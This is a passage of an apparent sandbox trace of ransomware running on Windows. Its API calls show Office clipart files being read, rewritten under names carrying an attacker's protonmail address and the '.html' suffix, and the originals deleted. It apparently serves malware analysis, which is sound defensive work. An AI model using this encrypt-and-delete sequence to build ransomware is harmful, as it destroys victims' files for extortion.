	[0204.236] lstrlenW (lpString=".1cd") returned 4
	[0204.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68
	[0204.236] lstrlenW (lpString=".jpg") returned 4
	[0204.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.237] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.237] lstrlenW (lpString="J0152894.WMF") returned 12
	[0204.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.267] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11348) returned 1
	[0204.267] CloseHandle (hObject=0x338) returned 1
	[0204.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220
	[0204.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.268] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.268] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.269] GetLastError () returned 0x0
	[0204.269] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2c54, lpOverlapped=0x0) returned 1
	[0204.296] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2c60, lpOverlapped=0x0) returned 1
	[0204.298] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.299] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.300] SetEndOfFile (hFile=0x434) returned 1
	[0204.300] CloseHandle (hObject=0x434) returned 1
	[0204.300] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.300] SetEndOfFile (hFile=0x338) returned 1
	[0204.304] CloseHandle (hObject=0x338) returned 1
	[0204.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1
	[0204.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.306] lstrlenW (lpString=".doc") returned 4
	[0204.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.306] lstrlenW (lpString=".docx") returned 5
	[0204.306] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.306] lstrlenW (lpString=".pdf") returned 4
	[0204.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.306] lstrlenW (lpString=".xls") returned 4
	[0204.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.306] lstrlenW (lpString=".xlsx") returned 5
	[0204.307] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.307] lstrlenW (lpString=".ppt") returned 4
	[0204.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.307] lstrlenW (lpString=".zip") returned 4
	[0204.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.307] lstrlenW (lpString=".rar") returned 4
	[0204.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString=".bz2") returned 4
	[0204.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString=".7z") returned 3
	[0204.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.307] lstrlenW (lpString=".dbf") returned 4
	[0204.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.307] lstrlenW (lpString=".1cd") returned 4
	[0204.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.307] lstrlenW (lpString=".jpg") returned 4
	[0204.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.307] lstrlenW (lpString=".doc") returned 4
	[0204.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString=".docx") returned 5
	[0204.307] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0204.307] lstrlenW (lpString=".pdf") returned 4
	[0204.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.307] lstrlenW (lpString=".xls") returned 4
	[0204.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.307] lstrlenW (lpString=".xlsx") returned 5
	[0204.308] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0204.308] lstrlenW (lpString=".ppt") returned 4
	[0204.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.308] lstrlenW (lpString=".zip") returned 4
	[0204.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.308] lstrlenW (lpString=".rar") returned 4
	[0204.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.308] lstrlenW (lpString=".bz2") returned 4
	[0204.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.308] lstrlenW (lpString=".7z") returned 3
	[0204.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.308] lstrlenW (lpString=".dbf") returned 4
	[0204.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.308] lstrlenW (lpString=".1cd") returned 4
	[0204.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68
	[0204.308] lstrlenW (lpString=".jpg") returned 4
	[0204.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.308] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.308] lstrlenW (lpString="J0152898.WMF") returned 12
	[0204.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.342] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4496) returned 1
	[0204.342] CloseHandle (hObject=0x338) returned 1
	[0204.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 0x220
	[0204.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.343] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.343] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.345] GetLastError () returned 0x0
	[0204.345] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1190, lpOverlapped=0x0) returned 1
	[0204.346] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x11a0, lpOverlapped=0x0) returned 1
	[0204.348] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.348] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.348] SetEndOfFile (hFile=0x434) returned 1
	[0204.348] CloseHandle (hObject=0x434) returned 1
	[0204.348] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.348] SetEndOfFile (hFile=0x338) returned 1
	[0204.351] CloseHandle (hObject=0x338) returned 1
	[0204.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1
	[0204.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.361] lstrlenW (lpString=".doc") returned 4
	[0204.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString=".docx") returned 5
	[0204.361] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0204.361] lstrlenW (lpString=".pdf") returned 4
	[0204.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString=".xls") returned 4
	[0204.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.361] lstrlenW (lpString=".xlsx") returned 5
	[0204.361] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0204.361] lstrlenW (lpString=".ppt") returned 4
	[0204.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.361] lstrlenW (lpString=".zip") returned 4
	[0204.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.361] lstrlenW (lpString=".rar") returned 4
	[0204.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString=".bz2") returned 4
	[0204.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString=".7z") returned 3
	[0204.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.361] lstrlenW (lpString=".dbf") returned 4
	[0204.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.361] lstrlenW (lpString=".1cd") returned 4
	[0204.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.361] lstrlenW (lpString=".jpg") returned 4
	[0204.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.362] lstrlenW (lpString=".doc") returned 4
	[0204.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString=".docx") returned 5
	[0204.362] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0204.362] lstrlenW (lpString=".pdf") returned 4
	[0204.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString=".xls") returned 4
	[0204.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.362] lstrlenW (lpString=".xlsx") returned 5
	[0204.362] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0204.362] lstrlenW (lpString=".ppt") returned 4
	[0204.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.362] lstrlenW (lpString=".zip") returned 4
	[0204.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.362] lstrlenW (lpString=".rar") returned 4
	[0204.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString=".bz2") returned 4
	[0204.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString=".7z") returned 3
	[0204.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.362] lstrlenW (lpString=".dbf") returned 4
	[0204.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.362] lstrlenW (lpString=".1cd") returned 4
	[0204.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68
	[0204.362] lstrlenW (lpString=".jpg") returned 4
	[0204.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.363] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.363] lstrlenW (lpString="J0153089.WMF") returned 12
	[0204.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.364] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7848) returned 1
	[0204.364] CloseHandle (hObject=0x338) returned 1
	[0204.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220
	[0204.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.364] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.364] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.366] GetLastError () returned 0x0
	[0204.366] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1ea8, lpOverlapped=0x0) returned 1
	[0204.368] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1eb0, lpOverlapped=0x0) returned 1
	[0204.369] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.369] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.369] SetEndOfFile (hFile=0x434) returned 1
	[0204.369] CloseHandle (hObject=0x434) returned 1
	[0204.369] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.369] SetEndOfFile (hFile=0x338) returned 1
	[0204.372] CloseHandle (hObject=0x338) returned 1
	[0204.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1
	[0204.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.374] lstrlenW (lpString=".doc") returned 4
	[0204.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString=".docx") returned 5
	[0204.374] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0204.374] lstrlenW (lpString=".pdf") returned 4
	[0204.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString=".xls") returned 4
	[0204.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.374] lstrlenW (lpString=".xlsx") returned 5
	[0204.374] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0204.374] lstrlenW (lpString=".ppt") returned 4
	[0204.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.374] lstrlenW (lpString=".zip") returned 4
	[0204.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.374] lstrlenW (lpString=".rar") returned 4
	[0204.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString=".bz2") returned 4
	[0204.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString=".7z") returned 3
	[0204.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.374] lstrlenW (lpString=".dbf") returned 4
	[0204.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.374] lstrlenW (lpString=".1cd") returned 4
	[0204.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.374] lstrlenW (lpString=".jpg") returned 4
	[0204.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.375] lstrlenW (lpString=".doc") returned 4
	[0204.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString=".docx") returned 5
	[0204.375] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0204.375] lstrlenW (lpString=".pdf") returned 4
	[0204.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString=".xls") returned 4
	[0204.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.375] lstrlenW (lpString=".xlsx") returned 5
	[0204.375] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0204.375] lstrlenW (lpString=".ppt") returned 4
	[0204.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.375] lstrlenW (lpString=".zip") returned 4
	[0204.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.375] lstrlenW (lpString=".rar") returned 4
	[0204.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString=".bz2") returned 4
	[0204.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString=".7z") returned 3
	[0204.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.375] lstrlenW (lpString=".dbf") returned 4
	[0204.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
	[0204.375] lstrlenW (lpString=".1cd") returned 4
	[0204.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68
